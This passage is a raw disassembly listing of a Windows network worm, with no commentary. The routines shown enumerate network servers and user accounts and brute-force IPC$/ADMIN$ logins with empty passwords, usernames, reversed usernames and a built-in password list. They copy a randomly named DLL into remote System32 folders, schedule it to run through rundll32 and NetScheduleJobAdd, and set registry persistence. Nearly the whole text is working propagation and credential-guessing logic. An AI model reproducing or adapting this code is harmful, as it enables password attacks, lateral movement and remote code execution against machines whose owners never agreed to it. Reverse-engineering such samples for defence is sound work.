		push	[ebp+hObject]	; hObject
		call	CloseHandle


loc_9A9182:				; CODE XREF: sub_9A90F2+2Fj
		push	0		; lpSecurityAttributes
		push	ebx		; nDefaultTimeOut
		push	esi		; nInBufferSize
		push	esi		; nOutBufferSize
		push	0Ah		; nMaxInstances
		push	4		; dwPipeMode
		lea	eax, [ebp+Dest]
		push	3		; dwOpenMode
		push	eax		; lpName
		call	edi ; CreateNamedPipeA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+hObject], eax
		jnz	short loc_9A9123
		xor	eax, eax
		inc	eax
		jmp	short loc_9A91AE
; ---------------------------------------------------------------------------


loc_9A91A3:				; CODE XREF: sub_9A90F2+50j
		push	[ebp+hObject]	; hObject
		call	CloseHandle
		xor	eax, eax


loc_9A91AE:				; CODE XREF: sub_9A90F2+AFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_9A90F2	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9A91B5(BYTE Data)

sub_9A91B5	proc near		; CODE XREF: sub_9AF7D5+3BAp

Data		= byte ptr  4

		push	esi
		push	edi
		push	dword ptr [esp+8+Data] ; Data
		mov	edi, offset word_9A26EE
		push	edi		; lpValueName
		mov	esi, offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	esi		; lpSubKey
		push	80000001h	; hKey
		call	sub_9AD0F4
		push	dword ptr [esp+18h+Data] ; Data
		push	edi		; lpValueName
		push	esi		; lpSubKey
		push	80000002h	; hKey
		call	sub_9AD0F4
		add	esp, 20h
		pop	edi
		pop	esi
		retn
sub_9A91B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A91E7	proc near		; CODE XREF: StartAddress+84p

var_8		= dword	ptr -8
Data		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_8], 0
		and	dword ptr [ebp+Data], 0
		push	esi
		push	edi
		lea	eax, [ebp+Data]
		push	eax		; lpData
		mov	edi, offset word_9A26EE
		push	edi		; lpValueName
		mov	esi, offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	esi		; lpSubKey
		push	80000001h	; int
		call	sub_9AD112
		lea	eax, [ebp+var_8]
		push	eax		; lpData
		push	edi		; lpValueName
		push	esi		; lpSubKey
		push	80000002h	; int
		call	sub_9AD112
		mov	eax, [ebp+var_8]
		add	esp, 20h
		cmp	eax, dword ptr [ebp+Data]
		pop	edi
		pop	esi
		ja	short loc_9A9230
		mov	eax, dword ptr [ebp+Data]


loc_9A9230:				; CODE XREF: sub_9A91E7+44j
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		leave
		retn
sub_9A91E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A9237	proc near		; CODE XREF: sub_9A798D+83p
					; sub_9A9318+5Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	edi
		or	edi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_9A926B
		mov	edx, [esp+4+arg_0]
		push	ebx
		push	esi


loc_9A9249:				; CODE XREF: sub_9A9237+30j
		movzx	ecx, byte ptr [edx]
		push	8
		inc	edx
		pop	esi


loc_9A9250:				; CODE XREF: sub_9A9237+2Dj
		mov	ebx, ecx
		xor	ebx, edi
		shr	edi, 1
		test	bl, 1
		jz	short loc_9A9261
		xor	edi, 0EDB88320h


loc_9A9261:				; CODE XREF: sub_9A9237+22j
		shr	ecx, 1
		dec	esi
		jnz	short loc_9A9250
		dec	eax
		jnz	short loc_9A9249
		pop	esi
		pop	ebx


loc_9A926B:				; CODE XREF: sub_9A9237+Aj
		mov	eax, edi
		pop	edi
		retn
sub_9A9237	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A926F	proc near		; CODE XREF: sub_9A96C2+28p

Name		= word ptr -208h
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 208h
		push	[ebp+arg_0]
		lea	eax, [ebp+Name]
		push	offset aSIpc	; "\\\\%s\\IPC$"
		push	104h		; Count
		push	eax		; Dest
		call	_snwprintf
		and	[ebp+var_2], 0
		add	esp, 10h
		push	1		; fForce
		push	0		; dwFlags
		lea	eax, [ebp+Name]
		push	eax		; lpName
		call	WNetCancelConnection2W
		xor	eax, eax
		leave
		retn
sub_9A926F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A92AE(int,LPCWSTR lpUserName,LPCWSTR	lpPassword)

sub_9A92AE	proc near		; CODE XREF: sub_9A96C2+Fp

Dest		= word ptr -228h
var_22		= word ptr -22h
Dst		= byte ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
lpUserName	= dword	ptr  0Ch
lpPassword	= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 228h
		push	esi
		push	[ebp+arg_0]
		lea	eax, [ebp+Dest]
		push	offset aSIpc	; "\\\\%s\\IPC$"
		push	104h		; Count
		push	eax		; Dest
		xor	esi, esi
		call	_snwprintf
		push	20h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		mov	[ebp+var_22], si
		call	memset
		add	esp, 1Ch
		push	esi		; dwFlags
		push	[ebp+lpUserName] ; lpUserName
		lea	eax, [ebp+Dest]
		push	[ebp+lpPassword] ; lpPassword
		mov	[ebp+var_C], eax
		lea	eax, [ebp+Dst]
		push	eax		; lpNetResource
		mov	[ebp+var_14], 3
		mov	[ebp+var_10], offset Str
		call	WNetAddConnection2W
		test	eax, eax
		jnz	short loc_9A9313
		inc	esi


loc_9A9313:				; CODE XREF: sub_9A92AE+62j
		mov	eax, esi
		pop	esi
		leave
		retn
sub_9A92AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A9318(LPCWSTR lpWideCharStr)

sub_9A9318	proc near		; CODE XREF: sub_9A96C2+1Ep

FindFileData	= _WIN32_FIND_DATAW ptr	-864h
FileName	= word ptr -614h
var_40E		= word ptr -40Eh
Servername	= word ptr -40Ch
var_206		= word ptr -206h
var_204		= byte ptr -204h
var_186		= word ptr -186h
MultiByteStr	= byte ptr -184h
var_183		= byte ptr -183h
var_80		= byte ptr -80h
var_6C		= byte ptr -6Ch
Dest		= word ptr -50h
Dst		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_28		= dword	ptr -28h
Source		= word ptr -24h
SystemTime	= _SYSTEMTIME ptr -1Ch
JobId		= dword	ptr -0Ch
NumberOfBytesWritten= dword ptr	-8
var_4		= dword	ptr -4
lpWideCharStr	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 864h
		mov	al, byte ptr WindowName	; "recv"
		push	ebx
		push	esi
		push	edi
		push	40h
		pop	ecx
		mov	[ebp+MultiByteStr], al
		xor	eax, eax
		lea	edi, [ebp+var_183]
		rep stosd
		xor	ebx, ebx
		push	ebx		; lpUsedDefaultChar
		push	ebx		; lpDefaultChar
		stosw
		stosb
		mov	esi, 104h
		push	esi		; cbMultiByte
		lea	eax, [ebp+MultiByteStr]
		push	eax		; lpMultiByteStr
		push	0FFFFFFFFh	; cchWideChar
		push	[ebp+lpWideCharStr] ; lpWideCharStr
		mov	[ebp+var_4], ebx
		push	ebx		; dwFlags
		push	ebx		; CodePage
		call	WideCharToMultiByte
		lea	eax, [ebp+MultiByteStr]
		push	eax		; Str
		call	strlen
		push	eax
		lea	eax, [ebp+MultiByteStr]
		push	eax
		call	sub_9A9237
		xor	eax, 45419005h
		push	eax		; Seed
		call	srand
		call	rand
		push	4
		cdq
		pop	ecx
		idiv	ecx
		lea	eax, [ebp+Dest]
		add	edx, 5
		push	edx
		push	eax
		call	sub_9AC672
		mov	edi, wcscat
		lea	eax, [ebp+Dest]
		push	offset a_	; "."
		push	eax		; Dest
		call	edi ; wcscat
		lea	eax, [ebp+Dest]
		push	eax		; Source
		lea	eax, [ebp+var_6C]
		push	eax		; Dest
		call	wcscpy
		add	esp, 28h


loc_9A93C0:				; CODE XREF: sub_9A9318+D3j
		call	rand
		push	3
		cdq
		pop	ecx
		idiv	ecx
		lea	eax, [ebp+Source]
		inc	edx
		push	edx
		push	eax
		call	sub_9AC672
		lea	eax, [ebp+Source]
		push	offset Str2	; "dll"
		push	eax		; Str1
		call	wcscmp
		add	esp, 10h
		test	eax, eax
		jz	short loc_9A93C0
		call	sub_9AC50B
		lea	eax, [ebp+Source]
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	edi ; wcscat
		lea	eax, [ebp+var_6C]
		push	offset Str2	; "dll"
		push	eax		; Dest
		call	edi ; wcscat
		mov	edi, _snwprintf
		lea	eax, [ebp+Dest]
		push	eax
		push	[ebp+lpWideCharStr]
		lea	eax, [ebp+FileName]
		push	offset aSAdminSystem32 ; "\\\\%s\\ADMIN$\\System32\\%s"
		push	esi		; Count
		push	eax		; Dest
		call	edi ; _snwprintf
		lea	eax, [ebp+var_6C]
		push	eax
		push	[ebp+lpWideCharStr]
		lea	eax, [ebp+Servername]
		push	offset aSAdminSystem32 ; "\\\\%s\\ADMIN$\\System32\\%s"
		push	esi		; Count
		push	eax		; Dest
		mov	[ebp+var_40E], bx
		call	edi ; _snwprintf
		add	esp, 38h
		lea	eax, [ebp+FindFileData]
		push	eax		; lpFindFileData
		lea	eax, [ebp+Servername]
		push	eax		; lpFileName
		mov	[ebp+var_206], bx
		call	FindFirstFileW
		cmp	eax, 0FFFFFFFFh
		jz	short loc_9A947E
		push	eax		; hFindFile
		call	FindClose
		cmp	[ebp+FindFileData.nFileSizeLow], ebx
		jz	short loc_9A947E


loc_9A9472:				; CODE XREF: sub_9A9318+191j
					; sub_9A9318+19Ej
		mov	[ebp+var_4], 1
		jmp	loc_9A95E6
; ---------------------------------------------------------------------------


loc_9A947E:				; CODE XREF: sub_9A9318+149j
					; sub_9A9318+158j
		push	ebx		; hTemplateFile
		push	6		; dwFlagsAndAttributes
		push	1		; dwCreationDisposition
		push	ebx		; lpSecurityAttributes
		push	1		; dwShareMode
		push	40000000h	; dwDesiredAccess
		lea	eax, [ebp+FileName]
		push	eax		; lpFileName
		call	CreateFileW
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+JobId], eax
		jnz	short loc_9A94B8
		call	GetLastError
		cmp	eax, 50h
		jz	short loc_9A9472
		cmp	eax, 0B7h
		jnz	loc_9A95E6
		jmp	short loc_9A9472
; ---------------------------------------------------------------------------


loc_9A94B8:				; CODE XREF: sub_9A9318+186j
		push	ebx		; lpOverlapped
		lea	ecx, [ebp+NumberOfBytesWritten]
		push	ecx		; lpNumberOfBytesWritten
		push	nNumberOfBytesToWrite ;	nNumberOfBytesToWrite
		mov	[ebp+NumberOfBytesWritten], ebx
		push	lpBuffer	; lpBuffer
		push	eax		; hFile
		call	WriteFile
		test	eax, eax
		jz	short loc_9A94E9
		mov	eax, [ebp+NumberOfBytesWritten]
		cmp	eax, nNumberOfBytesToWrite
		jnz	short loc_9A94E9
		mov	[ebp+var_4], 1


loc_9A94E9:				; CODE XREF: sub_9A9318+1BDj
					; sub_9A9318+1C8j
		push	[ebp+JobId]	; hObject
		call	CloseHandle
		push	ebx		; lpUsedDefaultChar
		push	ebx		; lpDefaultChar
		push	esi		; cbMultiByte
		lea	eax, [ebp+MultiByteStr]
		push	eax		; lpMultiByteStr
		push	0FFFFFFFFh	; cchWideChar
		lea	eax, [ebp+FileName]
		push	eax		; lpWideCharStr
		push	ebx		; dwFlags
		push	ebx		; CodePage
		call	WideCharToMultiByte
		test	eax, eax
		jz	short loc_9A951E
		lea	eax, [ebp+MultiByteStr]
		push	eax		; lpFileName
		call	sub_9AC6A4
		pop	ecx


loc_9A951E:				; CODE XREF: sub_9A9318+1F7j
		cmp	[ebp+var_4], ebx
		jz	loc_9A95D9
		call	rand
		push	4
		cdq
		pop	ecx
		idiv	ecx
		lea	eax, [ebp+var_80]
		add	edx, 5
		push	edx
		push	eax
		call	sub_9AC672
		lea	eax, [ebp+var_80]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	offset aRundll32_exeSS ; "rundll32.exe %s,%s"
		lea	eax, [ebp+var_204]
		push	40h		; Count
		push	eax		; Dest
		call	edi ; _snwprintf
		push	[ebp+lpWideCharStr]
		lea	eax, [ebp+Servername]
		push	offset aS	; "\\\\%s"
		push	esi		; Count
		push	eax		; Dest
		mov	[ebp+var_186], bx
		call	edi ; _snwprintf
		add	esp, 2Ch
		lea	eax, [ebp+SystemTime]
		push	eax		; lpSystemTime
		mov	[ebp+var_206], bx
		call	GetLocalTime
		inc	[ebp+SystemTime.wHour]
		cmp	[ebp+SystemTime.wHour],	18h
		jb	short loc_9A9596
		add	[ebp+SystemTime.wHour],	0FFE8h


loc_9A9596:				; CODE XREF: sub_9A9318+276j
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	memset
		movzx	eax, [ebp+SystemTime.wHour]
		imul	eax, 36EE80h
		mov	[ebp+Dst], eax
		lea	eax, [ebp+var_204]
		mov	[ebp+var_28], eax
		add	esp, 0Ch
		lea	eax, [ebp+JobId]
		push	eax		; JobId
		lea	eax, [ebp+Dst]
		push	eax		; Buffer
		lea	eax, [ebp+Servername]
		push	eax		; Servername
		mov	[ebp+var_2C], 7Fh
		mov	[ebp+var_2B], 11h
		call	NetScheduleJobAdd
		jmp	short loc_9A95E6
; ---------------------------------------------------------------------------


loc_9A95D9:				; CODE XREF: sub_9A9318+209j
		lea	eax, [ebp+FileName]
		push	eax		; lpFileName
		call	DeleteFileW


loc_9A95E6:				; CODE XREF: sub_9A9318+161j
					; sub_9A9318+198j ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9A9318	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A95EE(LPCWSTR servername)

sub_9A95EE	proc near		; CODE XREF: sub_9A96FE+2Bp
					; sub_9A96FE+3Ap

totalentries	= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
resume_handle	= dword	ptr -10h
entriesread	= dword	ptr -0Ch
var_8		= dword	ptr -8
Buffer		= dword	ptr -4
servername	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		xor	esi, esi
		mov	[ebp+Buffer], ebx
		mov	[ebp+resume_handle], ebx
		xor	edi, edi


loc_9A9603:				; CODE XREF: sub_9A95EE+B9j
		lea	eax, [ebp+resume_handle]
		push	eax		; resume_handle
		lea	eax, [ebp+totalentries]
		push	eax		; totalentries
		lea	eax, [ebp+entriesread]
		push	eax		; entriesread
		push	0FFFFFFFFh	; prefmaxlen
		lea	eax, [ebp+Buffer]
		push	eax		; bufptr
		push	0		; filter
		push	1		; level
		push	[ebp+servername] ; servername
		call	NetUserEnum
		test	eax, eax
		mov	[ebp+var_18], eax
		jz	short loc_9A962F
		cmp	eax, 0EAh
		jnz	short loc_9A96AD


loc_9A962F:				; CODE XREF: sub_9A95EE+38j
		cmp	[ebp+Buffer], 0
		jz	short loc_9A96A0
		add	edi, [ebp+entriesread]
		lea	eax, ds:4[edi*4]
		push	eax		; NewSize
		push	esi		; Memory
		mov	[ebp+var_14], edi
		call	realloc
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_9A9694
		and	[ebp+var_8], 0
		cmp	[ebp+entriesread], 0
		jbe	short loc_9A9690
		xor	edi, edi


loc_9A965E:				; CODE XREF: sub_9A95EE+9Dj
		mov	eax, [ebp+Buffer]
		add	eax, edi
		cmp	dword ptr [eax+0Ch], 0
		jz	short loc_9A967F
		test	dword ptr [eax+18h], 2
		jnz	short loc_9A967F
		push	dword ptr [eax]	; Str
		call	_wcsdup
		mov	[esi+ebx*4], eax
		pop	ecx
		inc	ebx


loc_9A967F:				; CODE XREF: sub_9A95EE+79j
					; sub_9A95EE+82j
		inc	[ebp+var_8]
		mov	eax, [ebp+var_8]
		add	edi, 20h
		cmp	eax, [ebp+entriesread]
		jb	short loc_9A965E
		mov	edi, [ebp+var_14]


loc_9A9690:				; CODE XREF: sub_9A95EE+6Cj
		and	dword ptr [esi+ebx*4], 0


loc_9A9694:				; CODE XREF: sub_9A95EE+62j
		push	[ebp+Buffer]	; Buffer
		call	NetApiBufferFree
		and	[ebp+Buffer], 0


loc_9A96A0:				; CODE XREF: sub_9A95EE+45j
		cmp	[ebp+var_18], 0EAh
		jz	loc_9A9603


loc_9A96AD:				; CODE XREF: sub_9A95EE+3Fj
		cmp	[ebp+Buffer], 0
		jz	short loc_9A96BB
		push	[ebp+Buffer]	; Buffer
		call	NetApiBufferFree


loc_9A96BB:				; CODE XREF: sub_9A95EE+C3j
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn
sub_9A95EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A96C2(int lpWideCharStr,LPCWSTR lpUserName,LPCWSTR lpPassword)

sub_9A96C2	proc near		; CODE XREF: sub_9A96FE+12p
					; sub_9A96FE+6Dp ...

lpWideCharStr	= dword	ptr  8
lpUserName	= dword	ptr  0Ch
lpPassword	= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	[ebp+lpPassword] ; lpPassword
		xor	esi, esi
		push	[ebp+lpUserName] ; lpUserName
		push	[ebp+lpWideCharStr] ; int
		call	sub_9A92AE
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_9A96F1
		push	[ebp+lpWideCharStr] ; lpWideCharStr
		call	sub_9A9318
		push	[ebp+lpWideCharStr]
		mov	esi, eax
		call	sub_9A926F
		pop	ecx
		pop	ecx


loc_9A96F1:				; CODE XREF: sub_9A96C2+19j
		push	3Ch		; dwMilliseconds
		call	Sleep
		mov	eax, esi
		pop	esi
		pop	ebp
		retn
sub_9A96C2	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9A96FE(LPCWSTR lpWideCharStr)

sub_9A96FE	proc near		; CODE XREF: sub_9A9898+78p

Memory		= dword	ptr -104h
Password	= word ptr -100h
lpWideCharStr	= dword	ptr  4

		sub	esp, 104h
		push	ebx
		push	0		; lpPassword
		push	0		; lpUserName
		push	[esp+110h+lpWideCharStr] ; lpWideCharStr
		call	sub_9A96C2
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jnz	loc_9A9883
		push	[esp+108h+lpWideCharStr] ; servername
		call	sub_9A95EE
		test	eax, eax
		pop	ecx
		mov	[esp+108h+Memory], eax
		jnz	short loc_9A974A
		push	eax		; servername
		call	sub_9A95EE
		test	eax, eax
		pop	ecx
		mov	[esp+108h+Memory], eax
		jz	loc_9A9883


loc_9A974A:				; CODE XREF: sub_9A96FE+37j
		push	ebp
		mov	ebp, wcslen
		push	esi
		mov	esi, [esp+110h+Memory]
		push	edi


loc_9A9757:				; CODE XREF: sub_9A96FE+171j
		cmp	dword ptr [esi], 0
		jz	loc_9A9875
		mov	eax, [esi]
		push	eax		; lpPassword
		push	eax		; lpUserName
		push	[esp+11Ch+lpWideCharStr] ; lpWideCharStr
		call	sub_9A96C2
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jnz	loc_9A9861
		push	dword ptr [esi]	; Str
		call	ebp ; wcslen
		test	eax, eax
		pop	ecx
		jz	loc_9A9818
		push	dword ptr [esi]	; Str
		call	ebp ; wcslen
		lea	eax, ds:2[eax*4]
		push	eax		; Size
		call	malloc
		mov	edi, eax
		test	edi, edi
		pop	ecx
		pop	ecx
		jz	short loc_9A9818
		push	dword ptr [esi]	; Source
		push	edi		; Dest
		call	wcscpy
		push	dword ptr [esi]	; Source
		push	edi		; Dest
		call	wcscat
		push	edi		; lpPassword
		push	dword ptr [esi]	; lpUserName
		push	[esp+12Ch+lpWideCharStr] ; lpWideCharStr
		call	sub_9A96C2
		mov	ebx, eax
		add	esp, 1Ch
		test	ebx, ebx
		jnz	short loc_9A980C
		push	dword ptr [esi]	; Str
		call	ebp ; wcslen
		test	eax, eax
		pop	ecx
		jle	short loc_9A97F3


loc_9A97D7:				; CODE XREF: sub_9A96FE+F3j
		push	dword ptr [esi]	; Str
		call	ebp ; wcslen
		mov	ecx, [esi]
		sub	eax, ebx
		mov	ax, [ecx+eax*2-2]
		mov	[edi+ebx*2], ax
		push	dword ptr [esi]	; Str
		inc	ebx
		call	ebp ; wcslen
		cmp	ebx, eax
		pop	ecx
		pop	ecx
		jl	short loc_9A97D7


loc_9A97F3:				; CODE XREF: sub_9A96FE+D7j
		and	word ptr [edi+ebx*2], 0
		push	edi		; lpPassword
		push	dword ptr [esi]	; lpUserName
		push	[esp+11Ch+lpWideCharStr] ; lpWideCharStr
		call	sub_9A96C2
		add	esp, 0Ch
		mov	ebx, eax


loc_9A980C:				; CODE XREF: sub_9A96FE+CEj
		push	edi		; Memory
		call	free
		test	ebx, ebx
		pop	ecx
		jnz	short loc_9A9861


loc_9A9818:				; CODE XREF: sub_9A96FE+86j
					; sub_9A96FE+A4j
		xor	edi, edi


loc_9A981A:				; CODE XREF: sub_9A96FE+161j
		cmp	edi, 3E4h
		jnb	short loc_9A9861
		push	80h		; cchWideChar
		lea	eax, [esp+118h+Password]
		push	eax		; lpWideCharStr
		push	0FFFFFFFFh	; cbMultiByte
		push	off_9BA010[edi]	; lpMultiByteStr
		push	0		; dwFlags
		push	0		; CodePage
		call	MultiByteToWideChar
		test	eax, eax
		jz	short loc_9A985A
		lea	eax, [esp+114h+Password]
		push	eax		; lpPassword
		push	dword ptr [esi]	; lpUserName
		push	[esp+11Ch+lpWideCharStr] ; lpWideCharStr
		call	sub_9A96C2
		add	esp, 0Ch
		mov	ebx, eax


loc_9A985A:				; CODE XREF: sub_9A96FE+142j
		add	edi, 4
		test	ebx, ebx
		jz	short loc_9A981A


loc_9A9861:				; CODE XREF: sub_9A96FE+79j
					; sub_9A96FE+118j ...
		push	dword ptr [esi]	; Memory
		call	free
		add	esi, 4
		test	ebx, ebx
		pop	ecx
		jz	loc_9A9757


loc_9A9875:				; CODE XREF: sub_9A96FE+5Cj
		push	[esp+114h+Memory] ; Memory
		call	free
		pop	ecx
		pop	edi
		pop	esi
		pop	ebp


loc_9A9883:				; CODE XREF: sub_9A96FE+1Ej
					; sub_9A96FE+46j
		push	7D0h		; dwMilliseconds
		call	Sleep
		mov	eax, ebx
		pop	ebx
		add	esp, 104h
		retn
sub_9A96FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A9898	proc near		; CODE XREF: sub_9A99AE+16p

totalentries	= dword	ptr -10h
var_C		= dword	ptr -0Ch
entriesread	= dword	ptr -8
Buffer		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		xor	edi, edi
		push	edi		; resume_handle
		push	edi		; domain
		push	0FFFFFFFFh	; servertype
		lea	eax, [ebp+totalentries]
		push	eax		; totalentries
		lea	eax, [ebp+entriesread]
		push	eax		; entriesread
		push	0FFFFFFFFh	; prefmaxlen
		lea	eax, [ebp+Buffer]
		push	eax		; bufptr
		push	65h		; level
		push	edi		; servername
		mov	[ebp+var_C], edi
		mov	[ebp+entriesread], edi
		mov	[ebp+Buffer], edi
		call	NetServerEnum
		cmp	eax, edi
		jz	short loc_9A98D9
		cmp	eax, 0EAh
		jnz	short loc_9A9928
		cmp	[ebp+Buffer], edi
		jz	short loc_9A9935
		cmp	[ebp+entriesread], edi
		jz	short loc_9A9928


loc_9A98D9:				; CODE XREF: sub_9A9898+2Ej
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+entriesread], edi
		jbe	short loc_9A9927
		push	esi
		xor	esi, esi


loc_9A98E4:				; CODE XREF: sub_9A9898+8Cj
		mov	eax, [ebp+Buffer]
		add	eax, esi
		test	byte ptr [eax+11h], 10h
		jz	short loc_9A991D
		cmp	dword ptr [eax+8], 4
		jbe	short loc_9A991D
		push	offset word_9BAF80 ; Str2
		push	dword ptr [eax+4] ; Str1
		call	wcscmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9A991D
		mov	eax, [ebp+Buffer]
		push	dword ptr [esi+eax+4] ;	lpWideCharStr
		call	sub_9A96FE
		pop	ecx
		mov	[ebp+var_C], 1


loc_9A991D:				; CODE XREF: sub_9A9898+55j
					; sub_9A9898+5Bj ...
		inc	ebx
		add	esi, 18h
		cmp	ebx, [ebp+entriesread]
		jb	short loc_9A98E4
		pop	esi


loc_9A9927:				; CODE XREF: sub_9A9898+47j
		pop	ebx


loc_9A9928:				; CODE XREF: sub_9A9898+35j
					; sub_9A9898+3Fj
		cmp	[ebp+Buffer], edi
		jz	short loc_9A9935
		push	[ebp+Buffer]	; Buffer
		call	NetApiBufferFree


loc_9A9935:				; CODE XREF: sub_9A9898+3Aj
					; sub_9A9898+93j
		mov	eax, [ebp+var_C]
		pop	edi
		leave
		retn
sub_9A9898	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A993B	proc near		; CODE XREF: sub_9A99AE+Fp

nSize		= dword	ptr -8
Buffer		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edi
		call	sub_9AD417
		mov	edi, eax
		call	sub_9AC50B
		and	[ebp+Buffer], 0
		lea	eax, [ebp+Buffer]
		push	eax		; bufptr
		push	64h		; level
		push	0		; servername
		call	NetWkstaGetInfo
		test	eax, eax
		jnz	short loc_9A9985
		mov	eax, [ebp+Buffer]
		push	104h		; Count
		push	dword ptr [eax+4] ; Source
		push	offset word_9BAF80 ; Dest
		call	wcsncpy
		add	esp, 0Ch
		and	word_9BB186, 0
		jmp	short loc_9A999B
; ---------------------------------------------------------------------------


loc_9A9985:				; CODE XREF: sub_9A993B+25j
		lea	eax, [ebp+nSize]
		push	eax		; nSize
		push	offset word_9BAF80 ; lpBuffer
		mov	[ebp+nSize], 104h
		call	GetComputerNameW


loc_9A999B:				; CODE XREF: sub_9A993B+48j
		cmp	[ebp+Buffer], 0
		jz	short loc_9A99A9
		push	[ebp+Buffer]	; Buffer
		call	NetApiBufferFree


loc_9A99A9:				; CODE XREF: sub_9A993B+64j
		mov	eax, edi
		pop	edi
		leave
		retn
sub_9A993B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn

; DWORD	__stdcall sub_9A99AE(LPVOID)

sub_9A99AE	proc near		; DATA XREF: sub_9A99DA+9o
		push	esi
		mov	esi, Sleep
		push	edi
		push	493E0h		; dwMilliseconds


loc_9A99BB:				; CODE XREF: sub_9A99AE+2Aj
		call	esi ; Sleep
		call	sub_9A993B
		mov	edi, eax
		call	sub_9A9898
		test	edi, edi
		jz	short loc_9A99D3
		call	RevertToSelf


loc_9A99D3:				; CODE XREF: sub_9A99AE+1Dj
		push	249F00h
		jmp	short loc_9A99BB
sub_9A99AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A99DA	proc near		; CODE XREF: StartAddress+1A8p

var_4		= byte ptr -4

		push	ecx
		lea	eax, [esp+4+var_4]
		push	eax		; lpThreadId
		xor	eax, eax
		push	eax		; dwCreationFlags
		push	eax		; lpParameter
		push	offset sub_9A99AE ; lpStartAddress
		push	eax		; dwStackSize
		push	eax		; lpThreadAttributes
		call	CreateThread
		push	eax		; hObject
		call	CloseHandle
		pop	ecx
		retn
sub_9A99DA	endp


; =============== S U B	R O U T	I N E =======================================


; BOOL __stdcall fn(HWND,LPARAM)

fn		proc near		; DATA XREF: sub_9A9A29+15o

hDlg		= dword	ptr  4

		push	1		; nIDDlgItem
		push	[esp+4+hDlg]	; hDlg
		call	GetDlgItem
		test	eax, eax
		jz	short loc_9A9A23
		push	0		; lParam
		push	0		; wParam
		push	0F5h		; Msg
		push	eax		; hWnd
		call	PostMessageA
		mov	dword_9BB188, 1


loc_9A9A23:				; CODE XREF: fn+Ej
		xor	eax, eax
		inc	eax
		retn	8
fn		endp


; =============== S U B	R O U T	I N E =======================================


; DWORD	__stdcall sub_9A9A29(LPVOID)

sub_9A9A29	proc near		; DATA XREF: sub_9A9A64+127o

dwThreadId	= dword	ptr  4

		and	dword_9BB188, 0
		push	esi
		xor	esi, esi


loc_9A9A33:				; CODE XREF: sub_9A9A29+33j
		cmp	dword_9BB188, 0
		jnz	short loc_9A9A5E
		push	0		; lParam
		push	offset fn	; lpfn
		push	[esp+0Ch+dwThreadId] ; dwThreadId
		call	EnumThreadWindows
		push	0Ah		; dwMilliseconds
		call	Sleep
		inc	esi
		cmp	esi, 5DCh
		jl	short loc_9A9A33


loc_9A9A5E:				; CODE XREF: sub_9A9A29+11j
		xor	eax, eax
		pop	esi
		retn	4
sub_9A9A29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A9A64	proc near		; CODE XREF: sub_9A9C0D+5Ep

pvarg		= VARIANTARG ptr -38h
ThreadId	= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		mov	eax, [ebx]
		push	esi
		lea	ecx, [ebp+var_1C]
		push	ecx
		xor	esi, esi
		push	ebx
		mov	[ebp+var_1C], esi
